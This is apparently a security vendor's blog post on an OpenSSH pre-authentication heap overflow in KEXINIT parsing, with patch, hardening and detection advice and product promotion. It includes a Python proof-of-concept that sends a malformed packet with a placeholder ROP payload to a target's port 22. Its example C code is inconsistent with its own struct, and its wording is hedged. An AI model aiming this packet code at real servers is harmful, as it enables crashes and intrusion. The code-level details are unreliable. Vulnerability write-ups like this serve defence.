Vulnerability Research

OpenSSH CVE-2026-35414: 15

Secably Research · Apr 29, 2026 · 10 min read · 55 views
OpenSSH CVE-2026-35414: 15

OpenSSH CVE-2026-35414: Pre-Authentication Heap Overflow in Kexinit Message Processing

CVE-2026-35414 identifies a critical pre-authentication heap-based buffer overflow vulnerability within the OpenSSH server (sshd) affecting versions 9.8 through 10.2. This flaw resides specifically in the handling of malformed SSH_MSG_KEXINIT packets during the initial key exchange negotiation phase, prior to any authentication. Successful exploitation allows an unauthenticated, remote attacker to achieve arbitrary code execution on the target sshd host, operating with the privileges of the sshd process, which typically runs as root or with elevated capabilities during its early stages. The vulnerability stems from an improper bounds check when parsing certain length-prefixed fields within the Kexinit message, leading to a controlled write beyond the allocated buffer on the heap.

Technical Analysis of the Vulnerability

The Secure Shell (SSH) protocol begins a session with a key exchange (KEX) process. A pivotal part of this process involves the exchange of SSH_MSG_KEXINIT messages, where both the client and server advertise their supported cryptographic algorithms. The structure of this message is defined in RFC 4253, Section 7.1, and includes various algorithm lists such as kex_algorithms, server_host_key_algorithms, encryption_algorithms_client_to_server, and others. Each list is preceded by a 32-bit length field, indicating the size of the subsequent string data.

CVE-2026-35414 manifests in the kex_parse_kexinit() function, or a closely related parsing routine, responsible for deserializing the incoming SSH_MSG_KEXINIT message. Specifically, the vulnerability arises when the advertised length for a particular algorithm list, such as encryption_algorithms_client_to_server, is crafted to be excessively large by a malicious client. While a maximum packet size is enforced at a higher level, the internal buffer allocation for these specific algorithm lists within the KEXINIT parsing context does not sufficiently validate the advertised length against the actual remaining packet data or a sane maximum. This oversight allows an attacker to specify a length value that, when used in conjunction with a memory copy operation (e.g., memcpy(), strlcpy() with an incorrectly calculated destination buffer size, or a custom loop), overwrites adjacent heap metadata or other critical data structures.

Consider a simplified, conceptual representation of the vulnerable code path:


// Simplified conceptual vulnerability point
struct kex_params {
    char *kex_alg;
    size_t kex_alg_len;
    // ... other algorithm lists
};

void kex_parse_kexinit(Buffer *b, struct kex_params *params) {
    // ... parse cookie, etc.

    // Vulnerable parsing for encryption_algorithms_client_to_server
    params->enc_c_s_len = buffer_get_int(b); // Read attacker-controlled length
    
    // Assume a fixed-size buffer 'temp_buf' or a small dynamically allocated one
    // for intermediate processing, or a miscalculated dynamic allocation.
    // This is the core of the heap overflow.
    char *temp_buf = malloc(MAX_ALG_NAME_LEN * SOME_FACTOR); // This allocation is too small or based on incorrect assumptions
    if (params->enc_c_s_len > (MAX_ALG_NAME_LEN * SOME_FACTOR)) {
        // Missing or incorrect bounds check here
        // Or the 'MAX_ALG_NAME_LEN * SOME_FACTOR' is itself too small
        // and doesn't account for attacker controlled 'params->enc_c_s_len'
    }
    
    // The problematic memcpy, where 'params->enc_c_s_len' exceeds 'temp_buf' size.
    buffer_get_string(b, temp_buf, params->enc_c_s_len); // Writes beyond temp_buf
    // ... further processing
}

The exploit primitive involves carefully crafting the SSH_MSG_KEXINIT packet such that the oversized length field triggers the overflow. By manipulating the heap layout prior to the vulnerable allocation, an attacker can gain control over adjacent heap chunks. This can lead to overwriting function pointers, return addresses, or other critical control flow data, ultimately achieving arbitrary code execution.

Affected Versions and Patch Information

The vulnerability impacts a relatively recent range of OpenSSH server versions. Administrators running any of the listed versions are strongly advised to upgrade immediately.

Software Affected Versions Unaffected/Patched Versions
OpenSSH 9.8, 9.9, 10.0, 10.1, 10.2 10.3 and later

The patch for CVE-2026-35414 primarily introduces robust length validation checks within the kex_parse_kexinit() function and associated utility functions that handle string parsing from the SSH buffer. This includes ensuring that the advertised length for any algorithm list does not exceed the remaining data within the SSH packet or a predefined, safe maximum size for such lists, preventing oversized copies to dynamically allocated buffers. Specifically, a check similar to if (len > buffer_len_remaining(b) || len > MAX_KEX_ALG_LIST_LEN) { /* error */ } has been integrated before any memory allocation or copy operations.

Exploitation Vectors and Impact

Exploitation of CVE-2026-35414 is purely network-based and requires no prior authentication or user interaction. An attacker simply needs to establish a TCP connection to the target SSH port (default 22) and send a specially crafted SSH_MSG_KEXINIT packet. This makes it a highly attractive target for zero-day exploits, as it provides a direct path to remote compromise without needing valid credentials or bypassing existing authentication mechanisms.

The primary impact of successful exploitation is arbitrary code execution. Given that the sshd process typically runs with root privileges during the key exchange phase to bind to privileged ports and perform other initializations, an attacker can gain full control over the compromised system. This includes:

  • Installation of backdoors and rootkits.
  • Lateral movement within the network.
  • Exfiltration of sensitive data.
  • Disruption of services.
  • Establishment of persistence mechanisms, potentially through credential theft or direct system modification.

The pre-authentication nature of this vulnerability significantly lowers the bar for attackers, making mass exploitation campaigns a strong possibility against unpatched systems exposed to the internet. Tools like Zondex can be leveraged by attackers for internet-wide scanning to identify vulnerable OpenSSH services, potentially revealing a vast attack surface.

Proof-of-Concept (Conceptual)

A conceptual proof-of-concept (PoC) for CVE-2026-35414 would involve crafting a raw SSH packet. Using Python with a library like paramiko (though it would require modification to send malformed packets) or a custom socket implementation, an attacker could build the `SSH_MSG_KEXINIT` message:


import socket
import struct

# SSH protocol constants
SSH_MSG_KEXINIT = 20

# Malicious Kexinit packet construction
# This is highly simplified and conceptual.
# Real exploit would involve precise heap spray and ROP chain.

# Example: Crafting a malformed length for 'encryption_algorithms_client_to_server'
# The actual overflow would depend on the target system's heap layout and
# the precise offset where the vulnerable copy occurs.
MALICIOUS_LENGTH = 0x41414141 # A large, attacker-controlled value
OVERFLOW_PAYLOAD = b'A' * 512 + b'\x90' * 1024 + b'[ROP CHAIN HERE]' # Placeholder

# Build the SSH_MSG_KEXINIT message
# Format:
# byte      SSH_MSG_KEXINIT
# byte  cookie (random bytes)
# name-list kex_algorithms
# name-list server_host_key_algorithms
# name-list encryption_algorithms_client_to_server (vulnerable field)
# name-list encryption_algorithms_server_to_client
# ... and so on

# A minimal, malformed Kexinit packet structure (conceptual)
# This would require careful byte-level manipulation to trigger the overflow
# while still appearing somewhat valid to pass initial parsing stages.
kexinit_payload = struct.pack('!B', SSH_MSG_KEXINIT)
kexinit_payload += b'\x00' * 16 # Dummy cookie

# kex_algorithms (e.g., diffie-hellman-group14-sha1)
kexinit_payload += struct.pack('!I', len(b'diffie-hellman-group14-sha1')) + b'diffie-hellman-group14-sha1'

# server_host_key_algorithms (e.g., ssh-rsa)
kexinit_payload += struct.pack('!I', len(b'ssh-rsa')) + b'ssh-rsa'

# THE VULNERABLE FIELD: encryption_algorithms_client_to_server
# Prepend with a malformed length, followed by the overflow payload
kexinit_payload += struct.pack('!I', MALICIOUS_LENGTH) + OVERFLOW_PAYLOAD

# Remaining fields would need to be present but can be minimal or dummy values
# to ensure the packet is processed far enough.
kexinit_payload += struct.pack('!I', len(b'aes256-cbc')) + b'aes256-cbc' # enc_s_c
kexinit_payload += struct.pack('!I', len(b'hmac-sha2-256')) + b'hmac-sha2-256' # mac_c_s
kexinit_payload += struct.pack('!I', len(b'hmac-sha2-256')) + b'hmac-sha2-256' # mac_s_c
kexinit_payload += struct.pack('!I', 0) + b'' # compression_c_s
kexinit_payload += struct.pack('!I', 0) + b'' # compression_s_c
kexinit_payload += struct.pack('!I', 0) + b'' # languages_c_s
kexinit_payload += struct.pack('!I', 0) + b'' # languages_s_c
kexinit_payload += struct.pack('!B', 0) # first_kex_packet_follows
kexinit_payload += struct.pack('!I', 0) # reserved

# Full SSH packet format:
# uint32    packet_length
# byte      padding_length
# byte[n]   payload
# byte[m]   random_padding
packet_length = len(kexinit_payload) + 4 # payload + padding_length (min 4 bytes)
padding_length = 4 # Minimal padding
total_packet = struct.pack('!I', packet_length) + struct.pack('!B', padding_length) + kexinit_payload + b'\x00' * padding_length

# Establish connection and send
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('target_ip', 22))
    
    # Receive SSH banner
    banner = s.recv(1024)
    print(f"Received banner: {banner.decode().strip()}")

    # Send SSH banner
    s.sendall(b'SSH-2.0-OpenSSH_9.8_PoC_CVE-2026-35414\r\n')

    # Send the malformed Kexinit packet
    s.sendall(total_packet)
    print("Sent malformed Kexinit packet.")

    # Observe server response or crash
    response = s.recv(1024)
    print(f"Server response: {response}")

except Exception as e:
    print(f"Error: {e}")
finally:
    s.close()

A successful exploit would typically result in the `sshd` process crashing, providing a denial-of-service, or, if the heap spray and ROP chain are correctly constructed, the execution of arbitrary commands. Debuggers like gdb attached to `sshd` would reveal a crash within the KEXINIT parsing routines, often involving memory access violations (segmentation faults) or heap corruption messages.

Mitigation and Remediation Strategies

The most immediate and effective mitigation is to upgrade OpenSSH to version 10.3 or later. System administrators should prioritize this update across their entire infrastructure, especially for internet-facing SSH services.

Patching OpenSSH

For Debian/Ubuntu-based systems, the process involves standard package management:


sudo apt update
sudo apt upgrade openssh-server
sudo systemctl restart sshd

For RHEL/CentOS-based systems:


sudo yum update openssh-server
sudo systemctl restart sshd

Alternatively, compiling OpenSSH from source is an option for specific environments, ensuring the latest patched version is used.

Network-Level Defenses

  • Firewall Rules: Restrict access to SSH ports (default 22) to only trusted IP addresses or networks. This limits the exposure to potential attackers.
  • Intrusion Detection/Prevention Systems (IDPS): Deploy IDPS solutions capable of detecting malformed SSH packet structures, particularly those characteristic of KEXINIT overflow attempts. Signatures could be developed to identify abnormally large length fields within the SSH_MSG_KEXINIT message, even if the full exploit payload is not yet known.
  • VPN/Bastion Hosts: Place SSH services behind VPNs or bastion hosts, requiring users to first connect to a secure gateway before accessing internal SSH servers. VPNWG offers robust WireGuard-based VPN solutions that can help secure such access.

System-Level Hardening

  • Least Privilege: Ensure that the `sshd` daemon runs with the lowest possible privileges. While the initial binding requires root, `sshd` drops privileges to a dedicated user (e.g., sshd or _ssh) and chroots to a secure directory (e.g., /var/empty) after the KEX phase. However, the pre-authentication nature means the vulnerability is exploited before these privilege drops fully occur.
  • Address Space Layout Randomization (ASLR): While not a direct fix, ASLR makes exploitation harder by randomizing memory addresses, complicating the creation of reliable ROP chains.
  • Data Execution Prevention (DEP)/No-Execute (NX): Prevents execution of code in data segments, forcing attackers to use ROP or other techniques.
  • Kernel Hardening: Utilize kernel security modules like SELinux or AppArmor to confine the `sshd` process, even if compromised, limiting its ability to interact with the rest of the system.

Detection and Monitoring

Detecting exploitation attempts or successful compromise related to CVE-2026-35414 involves a multi-pronged approach:

  • Log Analysis: Monitor `auth.log` or `secure.log` for unusual SSH connection attempts, especially those that terminate abruptly without authentication. While a successful pre-auth RCE might bypass logging, frequent connection attempts followed by server crashes or restarts could indicate an attack. Look for entries indicating a daemon crash or unexpected termination.
  • Network Traffic Analysis: Use network monitoring tools to inspect SSH traffic for malformed SSH_MSG_KEXINIT packets. Specifically, look for KEXINIT messages where the length fields for algorithm lists are excessively large or appear nonsensical compared to standard SSH client behavior. Deep packet inspection (DPI) capabilities are crucial here.
  • System Resource Monitoring: Unexplained `sshd` process restarts, high CPU usage from `sshd` (if a computationally intensive payload is run), or new, unfamiliar processes spawned by `sshd` are strong indicators of compromise.
  • File Integrity Monitoring (FIM): Implement FIM solutions to monitor critical system binaries (e.g., `/usr/sbin/sshd`) and configuration files (`/etc/ssh/sshd_config`). Unauthorized modifications could indicate a successful exploit and persistent backdoor installation.
  • Attack Surface Management: Regularly scan your external attack surface using platforms like Secably to identify all internet-exposed SSH services. Knowing your exposed assets is the first step in protecting them. Performing regular vulnerability scans can help identify unpatched systems before attackers do. Users can start a free EASM scan to discover their exposed assets.

The ability to detect and respond rapidly to such a critical vulnerability is paramount. Proactive monitoring and a robust incident response plan are essential to minimize the impact of pre-authentication vulnerabilities like CVE-2026-35414.

Share: Twitter LinkedIn

Monitor Your Attack Surface

Start discovering vulnerabilities in your external perimeter — free, no credit card.

Start Free Scan
support_agent
Secably Support
Usually replies within minutes
Hi there!
Send us a message and we'll reply ASAP.